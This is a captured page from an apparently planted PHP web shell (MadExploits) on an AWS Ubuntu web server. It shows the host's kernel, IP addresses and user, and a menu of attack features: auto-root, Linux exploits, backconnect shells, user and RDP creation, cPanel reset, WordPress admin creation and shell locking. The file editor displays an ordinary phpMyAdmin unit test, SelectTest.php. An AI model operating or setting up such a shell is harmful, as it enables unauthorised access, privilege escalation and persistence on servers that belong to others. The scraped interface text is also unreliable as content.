Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.21.55.178
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
Server /
[ HOME SHELL ]
Name
Size
Permission
Action
Privileges
[ DIR ]
drwxr-xr-x
SysInfo
[ DIR ]
drwxr-xr-x
PluginTest.php
2.49
KB
-rw-r--r--
PluginsTest.php
3.14
KB
-rw-r--r--
PrivilegesTest.php
73.21
KB
-rw-r--r--
SelectTest.php
3.06
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SelectTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests\Server; use PhpMyAdmin\Config; use PhpMyAdmin\Current; use PhpMyAdmin\Server\Select; use PhpMyAdmin\Tests\AbstractTestCase; use PhpMyAdmin\Util; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\Attributes\DataProvider; use function __; #[CoversClass(Select::class)] class SelectTest extends AbstractTestCase { /** * Prepares environment for the test. */ protected function setUp(): void { parent::setUp(); //$_REQUEST $_REQUEST['log'] = 'index1'; $_REQUEST['pos'] = 3; //$GLOBALS $config = Config::getInstance(); $config->settings['MaxRows'] = 10; $config->settings['ServerDefault'] = 'server'; $config->settings['RememberSorting'] = true; $config->settings['SQP'] = []; $config->settings['MaxCharactersInDisplayedSQL'] = 1000; $config->settings['ShowSQL'] = true; $config->settings['TableNavigationLinksMode'] = 'icons'; $config->settings['LimitChars'] = 100; Current::$table = 'table'; $config->settings['DefaultTabServer'] = 'welcome'; $config->settings['Servers'] = [ '0' => [ 'host' => 'host0', 'port' => 'port0', 'only_db' => 'only_db0', 'user' => 'user0', 'auth_type' => 'config', ], '1' => [ 'host' => 'host1', 'port' => 'port1', 'only_db' => 'only_db1', 'user' => 'user1', 'auth_type' => 'config', ], ]; //$_SESSION } /** * Test for Select::render */ #[DataProvider('renderDataProvider')] public function testRender(bool $notOnlyOptions): void { $config = Config::getInstance(); if ($notOnlyOptions) { $config->settings['DisplayServersList'] = null; } $html = Select::render($notOnlyOptions); $server = $config->settings['Servers']['0']; if ($notOnlyOptions) { self::assertStringContainsString( Util::getScriptNameForOption( $config->settings['DefaultTabServer'], 'server', ), $html, ); self::assertStringContainsString( __('Current server:'), $html, ); self::assertStringContainsString( '(' . __('Servers') . ')', $html, ); } //server items self::assertStringContainsString($server['host'], $html); self::assertStringContainsString($server['port'], $html); self::assertStringContainsString($server['only_db'], $html); self::assertStringContainsString($server['user'], $html); } /** @return mixed[][] */ public static function renderDataProvider(): array { return [ 'only options' => [false], 'not only options' => [true], ]; } }
Close